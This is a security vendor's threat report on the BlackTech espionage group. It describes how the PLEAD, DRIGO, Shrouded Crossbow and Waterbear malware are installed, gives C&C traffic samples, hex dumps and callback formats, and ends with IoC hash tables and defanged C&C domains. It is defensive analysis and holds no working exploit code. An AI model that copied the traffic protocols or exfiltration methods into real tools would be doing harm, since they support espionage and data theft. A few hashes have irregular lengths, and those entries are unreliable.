

Following the Trail of BlackTech's Cyber Espionage Campaigns

A large, abstract graphic at the bottom of the page consists of several overlapping, flowing lines in shades of red, white, and grey, creating a sense of motion and depth.

TrendLabs Security Intelligence Blog

Lenart Bermejo, Razor Huang, and CH Lei
Threat Solution Team

June 2017

Table of Contents

PLEAD	1
Delivery	1
Variations in Installation Methods	1
Command and Control (C&C)	2
Capabilities.....	6
Shrouded Crossbow	7
BIFROSE.....	7
KIVARS	7
XBOW	7
Waterbear.....	8
Indicators of Compromise (IoCs).....	9
Hashes related to PLEAD (SHA256)	9
Hashes related to DRIGO (SHA256)	10
C&C servers associated with PLEAD	10
Hashes related to Shrouded Crossbow (SHA256).....	12
C&C servers associated with Shrouded Crossbow.....	14
Hashes related to Waterbear (SHA256)	15
C&C servers associated with Waterbear	17

TREND MICRO LEGAL DISCLAIMER

The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice.

Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes.

Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an "as is" condition.

PLEAD

Delivery

PLEAD uses spear-phishing emails to deliver and install their backdoor, as either an attachment or links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop-off points for exfiltrated documents stolen by DRIGO.

Variations in Installation Methods

PLEAD utilizes different tactics to load its main backdoor. Multiple layers of encryption are involved, and in some cases, the functional malware is resident in memory only. While most PLEAD and DRIGO variants utilize autorun registry as a persistence mechanism, some were seen to be installed as a service, such as a fake Windows Management Instrumentation (WMI) service.

Here are some of PLEAD's installation methods we've observed in the wild:

Encrypted payload in PE resource section

The malware is embedded into the resource of other executable file. The resource name is usually a popular file extension, such as AVI and BMP. The content of resource is a binary blob that includes shellcode, malware binary and encryption key. Once loaded, the blob will first be decrypted by RC4; the shellcode is responsible for loading and activating the malware.

3-Layer Encryption

The malware is encoded into hexadecimal data, which acts as part of the source code of another executable file. The loader would first reconstruct the hexadecimal data into correct order in stack, and then decrypts it into encryption key. RC4 is used to perform second decryption to get the shellcode, which would do the third-layer decryption and activate the malware.

Separate Malware

The malware is encrypted into a standalone file. Another loader executable would load, decrypt, and launch the malware.

Fileless PLEAD

PLEAD also used one of Hacking Team's leaked exploits, CVE-2015-5119, and made a fileless version of their backdoor. This version uses an especially crafted .docx file containing the exploit. Once triggered, an instance of *iexplore.exe* will be launched where the PLEAD backdoor will be directly injected

and executed in *iexplore*'s memory space without creating an actual physical copy of the file to disk.

PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router's VPN feature then register a machine as a virtual server. This virtual server will be used as either a C&C server or an HTTP server that delivers PLEAD malware to their targets. PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability Microsoft Internet Information Services (IIS) 6.0 to compromise the victim's server. This is another way for them to establish a new C&C or HTTP server.

	A	B	C	D	E	F
1	IP Address	Port	Time (ms)	Status	Authorization	Server name / Realm name / Device type
2		5555	94	Can't load main page		
3		5555	94	Can't load main page		
4		5555	109	Can't load main page		
5		5555	109	Can't load main page		
6		5555	94	Can't load main page		
7		5555	109	Done		Debian/4.0 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
8		5555	140	Can't load main page		Debian/4.0 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
9		5555	94	Done		Ubuntu/10.04 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
10		5555	109	Done		Debian/4.0 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
11		5555	93	Can't load main page		Ubuntu/10.04 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
12		5555	140	Timed out		
13		5555	109	Can't load main page		
14		5555	109	Done		Debian/4.0 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
15		5555	93	Can't load main page		Debian/4.0 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
16		5555	109	Done		Debian/4.0 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
17		5555	109	Can't load main page		
18		5555	329	Can't load main page		
19		5555	109	Can't load main page		
20		5555	94	Done		Ubuntu/10.04 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
21		5555	109	Can't load main page		
22		5555	79	Done		Debian/4.0 UPnP/1.0 miniupnpd/1.0 (404 Not Found)
23		5555	78	Can't load main page		
24		5555	93	Can't load main page		

Figure 1: The router scan log snapshot

Command and Control (C&C)

PLEAD

A remote access control tool provides the following functionality: *sleep*, *listdir*, *upload*, *delete*, and *exec* with the corresponding commands C, A, L, E, P, G, and D. Below is PLEAD's C&C protocol:

(GET|POST)\s\|\d{4}\|\w\d+\.js|asp|jpg|css)\sHTTP\|\d\.\d
d{4}: beacon sequence

The content of network packet is encoded by XOR.

```
POST /0000/a84033656.asp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0)
Host: 60.251.121.97
Content-Length: 96
Cache-Control: no-cache
\x0;1*40?&896/347Y47;;&VUwPAw74%QZ.@fhnmkot|{ktnp/slh_xzorwk`a%vfkb*2-vfwqPbzcoo.54+429';20,:3?>7|
```

Figure 2: Sample C&C traffic

Below is another PLEAD protocol; the request template is `/N%u.aspx?id=%u`, where the two `%u` are random numbers:

```
GET /N3575600432.aspx?id=2633721344 HTTP/1.1
Date: Mon, 17 Oct 2016 16:07:54 GMT
Connection: keep-alive
Accept: */*
Cookie: B65A[REDACTED]F29D
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: [REDACTED]
Cache-Control: no-cache
Pragma: no-cache
```

Figure 3: PLEAD protocol

Some PLEAD variants do not have backdoor routines. Instead, they would download extra backdoor routines when they connect to the C&C server. This lets them easily adopt a new backdoor capability without redeploying the backdoor.

PLEAD's download routine can be summarized into a response sequence of *initial response*, *1~many continue response*, and *end response*:

- 1. Initial response from C&C site.** The HTTP response starts with "4c 09 00 00", followed by a 4-byte, unsigned integer that indicates (content length – 8).

```
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000010 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 36 20 53 .Date: Tue, 06 S
00000020 65 70 20 32 30 31 36 20 30 39 3a 31 35 3a 33 37 ep 2016 09:15:37
00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 GMT..Se rver: Ap
00000040 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 acha..Co ntent-Le
00000050 6e 67 74 68 3a 20 32 34 30 36 0d 0a 43 6f 6e 74 ngth: 24 06..Cont
00000060 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 ent-Type : applic
00000070 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 ation/oc tet-stre
00000080 61 6d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f am..Cach e-Contro
00000090 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a 4c l: no-ca che....L
000000a0 09 00 00 5e 09 00 00 9b 55 e1 7b 85 2c f3 67 a8 ...^.... U.{.,g.
000000b0 e8 b9 78 ae b7 1b d2 7c bf 07 a3 30 b4 29 b3 5b ..x....| ...0.).[
000000c0 4c f6 69 64 3f d1 f2 a7 20 48 6f 96 72 30 24 67 L.id?... Ho.r0$@
```

Figure 3: Code snapshot showing initial response from C&C site

- 2. C&C site sends more data to backdoor beside the initial response.** The HTTP response starts with “49 09 00 00”, followed by a 4-byte, unsigned integer which indicates (content length – 8)

```
00000A05 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000A15 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 36 20 53 .Date: T ue, 06 S
00000A25 65 70 20 32 30 31 36 20 30 39 3a 31 35 3a 33 38 ep 2016 09:15:38
00000A35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 GMT..Se rver: Ap
00000A45 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 ache..Co ntent-Le
00000A55 6e 67 74 68 3a 20 33 31 39 37 33 0d 0a 43 6f 6e ngth: 31 973..Con
00000A65 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 tent-Typ e: appli
00000A75 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 cation/o ctet-str
00000A85 65 61 6d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 eam..cac he-Contr
00000A95 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a ol: no-cache....
00000AA5 49 09 00 00 dd 7c 00 00 46 9f 24 f0 6a ad 1f 67 I....|... F.$.j..g
00000AB5 a8 e8 b9 t3 14 40 8b 82 2c 84 07 a3 30 24 aa 77 ....@.. ,...0$.w
00000AC5 1f dc 7f 2c 98 d7 d6 f2 a7 20 18 1d ff 1c 44 62 .....Db
00000AD5 67 d6 cc 63 6f 36 71 e8 48 d2 7d 08 68 9b 8f 49 g..co6q. H.}.h..I
00000AE5 a6 f4 11 28 b8 53 cd 59 d3 48 0e 33 b6 5c 78 9c ...(.5.Y .H.3.\x.
00000AF5 e9 be 81 51 ce ad 28 a3 71 41 cf a3 fb f0 56 17 ...Q..( qA....V.
00000B05 05 59 66 83 c2 4c dd 9b 56 6f 86 25 80 1e 27 87 .Yf..L.. Vo.%..
```

Figure 4: Continued response from C&C site

- 3. C&C site responds to indicate there is no more data.** The HTTP response starts with “4b 09 00 00”, followed by “00 00 00 00”

```
0000B755 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
0000B765 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 36 20 53 .Date: T ue, 06 S
0000B775 65 70 20 32 30 31 36 20 30 39 3a 31 35 3a 34 30 ep 2016 09:15:40
0000B785 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 GMT..Se rver: Ap
0000B795 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 ache..Co ntent-Le
0000B7A5 6e 67 74 68 3a 20 38 0d 0a 43 6f 6e 74 65 6e 74 ngth: 8. .Content
0000B7B5 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 -Type: applicati
0000B7C5 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d on/octet -stream.
0000B7D5 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 .Cache-C ontrol:
0000B7E5 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a 4b 09 00 00 no-cache ....K...
0000B7F5 00 00 00 00
```

Figure 5: Code snapshot showing end response

DRIGO

DRIGO mainly interacts with Google services, which we've seen using HTTPS traffic identical to a normal Google API-generated traffic. Below is an example of the refresh token traffic generated by DRIGO:

Requesting for Access Token:

```
POST /o/oauth2/token HTTP/1.1
Host: accounts.google.com
User-Agent: Go 1.1 package http
Content-Length: 208
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
```

```
client_id={REMOVED}apps.googleusercontent.com&client_secret=
{REMOVED}&grant_type=refresh_token&refresh_token={REMOVED}
```

Access Token Reply:

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 14 Oct 2014 08:08:32 GMT
Content-Disposition: attachment; filename="sample.txt"; filename*=UTF-
8"sample.txt"
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alternate-Protocol: 443:quic
Transfer-Encoding: chunked
```

```
{
  "access_token" : "{REMOVED}",
  "token_type" : "Bearer",
  "expires_in" : 3600
}
```

Capabilities

PLEAD Backdoor

One of the backdoor's directories of interest is the "Recent" directory. Exfiltration of documents is done via POST HTTP requests. The same is done with other information the backdoor gathers from its victim. During exfiltration, PLEAD will use RC4 to encrypt the information being sent back to the attackers.

DRIGO

There are two types of DRIGO used by the campaign. Both are compiled using GOLANG, which is designed to easily interact with Google services:

1. **GDrive Uploader** – Used to exfiltrate document files by uploading them to an attacker-owned Google Drive. This is done by using a refresh token that is almost the equivalent of a user credential and requesting an access token.
2. **GSMTP Mailer** – Makes use of Gmail SMTP services to exfiltrate information. It contains a pre-constructed MIME header; the sender and recipient email addresses are hardcoded in the malware. Instead of a password, which is needed to log in to the SMTP server, it uses an access token.

Shrouded Crossbow

Shrouded Crossbow uses three main tools based on the BIFROST backdoor: BIFROSE, the campaign's version of BIFROST, as well as KIVARS, and XBOW, both of which were developed by the group.

BIFROSE

BIFROSE, installed traditionally as an executable, is one of the earliest backdoors Shrouded Crossbow used. Below are some differences in the callback traffic of Windows and Unix versions of BIFROSE:

Windows:

```
<victim IP>|default_zz|<hostname>|<username>|10.0.3||1|-  
1|0|1868|1|1|0|0|982bc1da|C:\Documents and  
Settings\Administrator\Recent|C:\Documents and  
Settings\Administrator\Desktop|C:\Documents and Settings\Administrator\My  
Documents|US|00000409|
```

Unix:

```
<victim IP>|unix|<hostname>|<username>|5.0.0.0|0|1|1|0|575|0|0|0|None|||||
```

KIVARS

KIVARS has a smaller configuration consisting of mutexes and C&C server information encrypted inside the loader component, which is then passed to the main backdoor during its execution. KIVARS is broken into multiple components comprising a loader DLL, which is installed as a service DLL; and an encrypted file, which is the main backdoor that will be loaded into the loader's memory and executed after decryption.

Below is the callback traffic of KIVARS:

```
<victim IP>|default_zz|<hostname>|<username>|2.0.0a||1|-  
1|0|2600|1|1|0|0|982bc1da|C:\Documents and  
Settings\Administrator\Recent|C:\Documents and  
Settings\Administrator\Desktop|C:\Documents and Settings\Administrator\My  
Documents|US|00000409|
```

XBOW

XBOW's capabilities are based on BIFROST, and by extension, KIVARS. XBOW uses a distinctive mutex format:

zhugeliannu{1 byte possible project version}{builder identity}{compile date}

The Shrouded Crossbow campaign got its name from “zhugeliannu”.

Waterbear

WATERBEAR employs a modular approach. A loader component executable will connect to the C&C server to download the main backdoor and load it in memory. A later version of this malware appeared and used patched server applications as its loader component, while the main backdoor is either loaded from an encrypted file or downloaded from the C&C server. Waterbear uses HTTP CONNECT tunneling for its C&C communication.

Below are the applications we found to have been abused and modified by the attackers to act as their loader components:

- Citrix XenApp IMA Secure Service (*IMAAvanceSrv.exe*)
- EMC NetWorker (*nsreexecd.exe*)
- HP System Management Homepage (*vcagent.exe*)
- IBM BigFix Client (*BESClient.exe*)
- VMware Tools (*vmtoolsd.exe*)

Indicators of Compromise (IoCs)

Hashes related to PLEAD (SHA256)

SHA256	Detection
282e33031c6f4f84616a8ee0ed9a02812cf4b224348dd38a7fb567ff0a49c720	TROJ_PLEADLDR.ZTEE-A
48FDC29E7F47E5D38C88A89667ED85740628BF4F4CE95045019F7EBFEB4BBB5C	TROJ_PLEADLDR.ZTEA-A
4b46e0d2eea8bb75bcdcd926e108f95688b3e24ffbd181519a4917ab102d41c7	TROJ_PLEAD.ZTDG-A
f33ff517d9250afca6cf6ab90ab2eb6bfccbb3b93ff49e7280bf1a0cf667d2bba	TROJ_PLEAD.ZTCJ
3411b5170fefbb198b1a5c3afa25e3417c683e994dc91a50e34f1234ec90ec5	TROJ_PLEAD.ZTCG-A
b73c453126451c833fc2c1e00e4f1291f17f6a3ac2c8ff4178e1091f5fc01ef	BKDR_PLEAD.ZTED-A
c303bab9e2655739ee85adf92cc9e9c9b1e4371dddeb9270cbbb81f34f4f96b9	BKDR_PLEAD.ZTDK-B
6a49771dbb9830e1bdba45137c3a1a22d7964df26e02c715dd6e606f8da4e275	BKDR_PLEAD.ZTDK-A
3a24c2c7b3b54a799735e9e2db9fd648af34a18598b7c00b1b6e0d750f8529a9	BKDR_PLEAD.ZTDJ-A
6ccfc6a6c32e1de166d250d25d2d503945d914ab03e4774cb6f499b668a9c5dc	BKDR_PLEAD.ZTDA-A
608bc56bf511c203bb777ee57c9c919e2d320025d3595f3aba1fcfe226265189	BKDR_PLEAD.ZTCL-A
bbc4ff915584218c799878dfedfd8f2457b7d9e89026e0c1a425cf2a679aa81a	BKDR_PLEAD.ZTCL-A
e386f12b13bab468385730ff90897f05cf72258365554d5038226b5fa4caf588	BKDR_PLEAD.ZTCL-A
efdf0b8da2047d16be281a1fcf1fc8f2c86c1269c5ce027d775112ff02f44f04	BKDR_PLEAD.ZTCG-BD
cd24fddfc8145754c9843117764da4d17aa820920ff9e82499385057ada3151c	BKDR_PLEAD.ZTCG-BD
11f61d1756a781cd1968ebbebb81ec1996324489d7cddd8d054b4ec00f8e1bf7e	BKDR_PLEAD.ZTCG
cc1b0da22402c52a6989e266fdf47bc60344d5cc08e760373bf13369952e02e6	BKDR_PLEAD.ZTCG
2f845201fdc66da421bbc5265ed836080c5c16b3e51ce8c7b859d1b4d343fec5	BKDR_PLEAD.ZTCC-A
658601a07943d36b37d3b3ec55d687d7753ddb278bf414ae91a64c6a3520777e	BKDR_PLEAD.ZTCC-A
9866ecef636d52fd0734039517bad855c7f8c6f78a4d890b9d8008504bd8a703	BKDR_PLEAD.ZTCC-A
31d8e15310d1d2f347bdca5f4ef8bdf621722a807e98ec1d7b746843eb653041	BKDR_PLEAD.ZTCC-A
b6be9c10b9a20f969993027aee420076281d7a0c9935b9e34a714bcc9fc9e32c	BKDR_PLEAD.ZTCC-A
9e9841b799956dfaef0d88881100d45f3b49641ce32223a505246cb62b563e180	BKDR_PLEAD.ZTBL-A
3fba692ab1e78a863dba735d074846869c84ff0d6bf091abcd34d2d546411a45	BKDR_PLEAD.ZTBH-A
4967a8b0dd5627ea6143d71f6e3598583aa475282200b8fdb0b7d92db051603	BKDR_PLEAD.ZTBE-IO
fc83c9ebb49c190bf3044bac7c79297273ea00ef3843b48b7940a96813829fe5	BKDR_PLEAD.ZTBE-A
f88c49c14f1f788c6edd50e4c94af7b1a4c685e35554661ab521cc0501c017e9	BKDR_PLEAD.ZJED-A
6891aa78524e442f4dda66dff51db9798e1f92e6fefcdf21eb870b05b0293134	BKDR_PLEAD.SMZTDK-C
5361129e23dfadacc512297a28ab38e391667faf12ef3867b891deefb330e85e	BKDR_PLEAD.SMZTDK-A
1fa7cbe57eedea0ebc8eb37b91e7536c07be7da7775a6c01e5b14489387b9ca8	BKDR_PLEAD.SMZTDK-A
20f7f367f9cb8beca7ce1ba980fa870863245f27fea48b971859a8cb47eb09	BKDR_PLEAD.SMZTDK-A
96306202b0c4495cf93e805e9185ea6f2626650d6132a98a8f097f8c6a424a33	BKDR_PLEAD.SMZTDK-A
4842c5403372ead4fd28a26f2e1dfc139541e71bcf574e62c7c18b9fcf406674	BKDR_PLEAD.SMZTDK-A

SHA256	Detection
dcb5c350af76c590002a8ea00b01d862b4d89ccbec3908bfe92fdf25eaa6ea4	BKDR_PLEAD.SMZTDK-A
f16befd79b7f8ffdaf934ef337a91a5f1dc6da54c4b2bee5fe7a0eb38e8af39e	BKDR_PLEAD.SMZTDK-A
2404f1d744722f147fc97dbc09a29011fa77c2de024fe0fa88fc8ec5aafbeb45c	BKDR_PLEAD.SMZTDK-A
75a3b0f83b71a9c8470400b89b1c4dc18caca41de9a8c0dd31016f136cc4182b	BKDR_PLEAD.SMZTCK
36bbdcc636b3501093f9c29226fc49a36db035fd0ed96522fb8aab6800981eee	BKDR_PLEAD.SMZTCK
b046b2e2569636c2fc3683a0da8cfad25ff47bc304145be0f282a969c7397ae8	BKDR_PLEAD.SMZTCK
20b8c2d5beb5d1d058d15ce1bba91fb5e0fc7e51cb2bd96a7869ca2ff5f6e663	BKDR_PLEAD.SMZTCK
351d273d3df3fd49ec3adff7e91acc528cbdea92b178e3676687d59d682dae	BKDR_PLEAD.SMZTCK
8d348f63b0ef309d70d6a849ee0bafcbcd2c4567b1c02c8686ef7ecab6b77158	BKDR_PLEAD.SMZTCK
5543662606d0e6a27ba65969f47036aec531ae5b9c42036c1e49e65dc8377a81	BKDR_PLEAD.SMZTCK
102f08bacac8758e31a24e2f5c708861115bf1ad6d61faaaba0cd5bf43de8c21	BKDR_PLEAD.SMZTCK

Hashes related to DRIGO (SHA256)

SHA256	Detection
00A1068645DBE982A9AA95E7B8202A588989CD37DE2FA1B344ABBC0102C27D05	TSPY_DRIGO.ZTDE-A
ECDBAB980CC76CC9BEA434CBA069852B4A99CDFE044C1B9FC4DF8D6D8887DDF8	TSPY_DRIGO.ZTDE-A
766689C80887668F36486CA38C4A2526588AB7A3E5CA920BD2B4ADD162DE8E25	TSPY_DRIGO.ZTCK-A
5dc97a61bf0fd09e1471b667b89f1c008fe4f81d837091a4b67ba467d4510d69	TSPY_DRIGO.ZTCK-A
15D9DB2C90F56CD02BE38E7088DB8EC00FC603508EC888B4B85D60D970966585	TSPY_DRIGO.ZTCK-A
61eb2320c388ddd6f122e90a49534a32543941da8d7b219bf12acf90dc0c71fc	TSPY_DRIGO.ZTCK-A
FF52027D9F951E6EC91D752057281973AC3FF1F1A7543210AD932B44BC2FE364	TSPY_DRIGO.ZTCJ-A

C&C servers associated with PLEAD

211[.]72[.]242[.]120
antivirsscan[.]strangled[.]net
appinfo[.]fairuse[.]org
appinfo[.]xpresit[.]net
babystats[.]dnset[.]com
bfyl[.]pixarworks[.]com
blogtw[.]tk
carcolors[.]jeffers[.]com
carsails[.]allowed[.]org
conderpay[.]jetowns[.]net
csbc[.]itaiwans[.]com

dcns[.]soniceducation[.]com
docsedit[.]cleansite[.]us
ediary[.]jezua[.]com
epayplus[.]flnet[.]org
facebook[.]itsaol[.]com
fatgirls[.]fatdiary[.]org
foodinfo[.]serverpit[.]com
httpstw[.]tk
iavrias[.]playop[.]net
icst[.]ygto[.]com
idropx[.]serverpit[.]com
iebay[.]serverpit[.]com
imusic[.]getce[.]com
inewdays[.]csproject[.]org
ipcheck[.]ignorelist[.]com
iphone7[.]pownz[.]org
iphone7s[.]jeffers[.]com
iphone7s[.]homenet[.]org
ipserver[.]suroot[.]com
itaiwans[.]com
jeff[.]jetos[.]com
job[.]jobical[.]com
longdays[.]csproject[.]org
mathethic[.]jezua[.]com
microsfot[.]jikwb[.]com
microsoft[.]myddns[.]com
mirdc[.]happyforever[.]com
momego[.]wesogo[.]com
mozilla[.]strangled[.]net
oop[.]jumpingcrab[.]com
opensslv3[.]csproject[.]org
opensslv971[.]ssl443[.]org
paperspot[.]wikaba[.]com
pictures[.]jungleheart[.]com
pixtail[.]serverpit[.]com
rdec[.]compress[.]to
savecars[.]dnset[.]com
search[.]mynetav[.]net

seting[.]herbalsolo[.]com
sexnet[.]homenet[.]org
spotify[.]jeffers[.]com
sslmaker[.]ssl443[.]org
timehigh[.]ddns[.]info
tomomo[.]wesogo[.]com
twcert[.]compress[.]to
twnic[.]ignorelist[.]com
tnnicsi[.]ignorelist[.]com
uipisa[.]ssl443[.]org
wendy[.]uberleet[.]com
wmxhao[.]fashionwiki[.]com

Hashes related to Shrouded Crossbow (SHA256)

SHA256	Detection Name
734e5972ab5ac1e9bc5470c666a55e0d2bd57c4e2ea2da11dc9bf56fb2ea6f23	TSPY_KEYLOGGER.XZI
7f4ff9fc37cd0f67a448645bbebb8b605eb3887a2c5306fbb2c2600122f10496	TROJ_KIVARSLDR.SMZTDG-A
49605802f507d83849354aced141fcf3b590029d136c6c239a23e1f30e21abff	TROJ_KIVARSLDR.SMZTDG-A
d8f964fa4fd7851cad87c38ce48c254905899f19c08216b43c7612f9f664a7c5	TROJ_KIVARSLDR.SMZTDG-A
5f6f44e18ce24c296231eee0a1d658f2d52cbe448d67237a90cf2293b2d5450	TROJ64_KIVLDRARS.ZTEE-A
4956ff277de19a01613f8c0c91ba9626cb0894c12d5d1fd9fb9ad59b7ee1db11	BKDR64_KIVARS.ZTEE-A
d1de5db1d50532fecfd3a4bf5382c97892deae8a70cccdca71eca326f3940c616	TROJ_KIVARSLDR.ZTDL-A
08d6ce9c4298f61635057bdb5eb663b4eabd36358467a9c89a40c30c1a40470	TROJ_KIVARSLDR.ZTDL-A
f75b6cab25a011441617f47537c19d3d0b5babddb4aa293181080a2bc81938b1	BKDR_KIVARS.ZTDL-A
982fa8a6cff82966f6badb5102c47b341b0519b34589bf9647529814c6c3f423	BKDR_KIVARS.ZTDL-A
9f1b1c7588f84e0d759cc8d989532176f1133b79ade038d90ab814830118d9a8	TROJ64_KIVARS.ZTDK-A
0f06615993c71d8e5e1c95a957c382d722f321f4b11258e91b190f909bd71155	TROJ64_KIVARS.ZTDK-A
dce93f0f5689e14e6ac1515c7f8b9445fac71e4881228c5d89fd1c6ead116f1e	BKDR64_KIVARSENC.ZTDK-A
ed535b36b021078aaa2b5818ea40f3d598a5b5e311b9ff486d6740818429383f	BKDR64_KIVARSENC.ZTDK-B
1e31d046e039d27dbaa843c625827c6c5096c1f5d75810acfaf8c28515e7644c	TROJ_KIVARSLDR.ZTDJ-A
8c18ee0a0e81f5b07ba2bb970455a9c438f8184c866b68014f4f25b032680900	TROJ64_KIVARSLDR.ZTDH-A
7db49a91d5da69e6e7fb2e58cdc9e08d89ea0abde01f41aa7ab44d317892243e	TROJ64_KIVARSLDR.ZTDH-A
a0483604dcec2673edc26ea1ac1cb72687a004b2574a7c7d4084da13af3ea6bf	BKDR_KIVARSLDR.ZTDG-A
5f3197c5b00608a18ab6985b2c8460f4a3f977a2394dbd5eff2279c0dd5c65fb	BKDR_KIVARSEENC.ZTDG-E
4f7b17602909df2a6887fdbff41f854449705bc17ddb0fef5e3fa3d33017cd1c	BKDR_KIVARS.ZTDG-A
fe23b755e8a59c66d957d03df4d1cb0947edaee01325f3a6fd78b20f67fd2edc	BKDR_KIVARSEENC.ZTDG-E
1a236c74cbf286458fc93e92fd5be859f71525e2c8eef5cabf2fc1e69aa30bfe	BKDR_KIVARS.ZTDG-A

SHA256	Detection Name
04fb76085768af92644511ac206cbd1f083ece675cc2516430a2f2dd9faeca77	BKDR_KIVARSLDR.ZTDG-A
8c39f6f5d58d57fbbdde3c816b0d2247d7204bcc7f51d48ce30c33c01a95378d	BKDR_KIVARSLDR.ZTD-A
409cd490feb40d08eb33808b78d52c00e1722eee163b60635df6c6fe2c43c230	BKDR_KIVARSLDR.ZTDG-A
71e03e8ba79dbfdcb3aae0252165fb12ae2928b03b6f5d74353fac1a56d9a65	BKDR_KIVARSEENC.ZTDG-E
956e7408a25a02f93c62d2b9f4f1f249e64571b9e9f94faef5631699adc82d3	BKDR_KIVARS.ZTDG-A
dd3676f478ee6f814077a12302d38426760b0701bb629f413f7bf2ec71319db5	TROJ_KIVARSLDR.SMZTDG-A
8a41feb71231d244be0639f5361d2781862a461a33ff882c401e3821fce53ecf	TROJ_KIVARSLDR.ZTDG-A
f7385ac953c91eab7a46041963270e08d0785b31df177965803d153a7ea51e7f	TROJ_BIFROSLDR.SMZTDG-A
84a8f7acb68433d3eb47f3c994fa559eacb46da7e9f90452dd4540935eacad9d	TROJ_KIVARSLDR.ZTDG-D
e86664bb5c5c9a246ddfaef9f8fb4750687877c5cd9225d128904bb29706333b	BKDR_KIVARSENC.ZTDG-D
37217d2dd0f433bf1b607a7ada5a4b5d3036e0eccb677f53c6ba9f0e8039a094	TROJ_KIVARSLDR.ZTDG-D
37758c795bb0abcc2daff888c79ce4704a3f6a1f75c0427c47a3106be20ee70d	BKDR_KIVARSENC.ZTDG-D
0126a0a6a82f566e5951216d26b307ea68d65519bc34641ec041e155efa4a449	BKDR_KIVARSENC.ZTDG-D
2f21b25c633895bd675fb7f5d179fb02c3a25cca346e6d2df7e54e926292a085	BKDR_KIVARSENC.ZTDG-B
5f61f8c2f7d1a0fa74860744d5f93afea98da4d79b5b47ecceaf2ac5012760e6	TROJ_KIVARSLDR.ZTDG-C
b2cdbf290c5837ab0f14377d5eabdefa4bdac1af8eba7963300c8774abbf6da7	TROJ_KIVARSLDR.SMZTDG-C
d35317ac4a4598ae08aa5aa21c019889bee2766675a93af877b021fbc05b6579	TROJ_KIVARSLDR.SMZTDG-C
b2199104ec12896e86eb9345f479f709dc5a25fd8a870bc1140c1efc848ee83e	TROJ_KIVARSLDR.SMZTDG-D
8ff4204631e42310758693a5c84e5d500a3fa267f8d59d5ca05d5efef8cfbec1	BKDR_KIVARS.SMV0
a3ffa276089179837e30f8c2a1fcc917c03410762bda2882c61a8652b001613	BKDR_KIVARS.SMV0
18c7ad0ded9ea0669ebc70759437d858f668ec8ba2b000125eb8cf32c29ade4e	BKDR_KIVARS.SMV0
d3678cd9744b3aedeba23a03a178be5b82d5f8059a86f816007789a9dd06dc7d	BKDR_BIFROSE.ZTDG-A
bb2a1f68faa79132f4630014c3487c891b5db8c599f05c83eabe580691920b4f	TROJ_KIVARSDRP.ZTDG-A
43552319fe32b8fe7f220edb83cacb78bc4aa8b6ed41692187c17f43623251d6	TROJ_KIVARSDRP.ZTDG-AA
1d457cb4f0cf4462d62baf97149392841bb62ba01d59745d95a2db32824750d3	BKDR_KIVARSENC.ZTDG-A
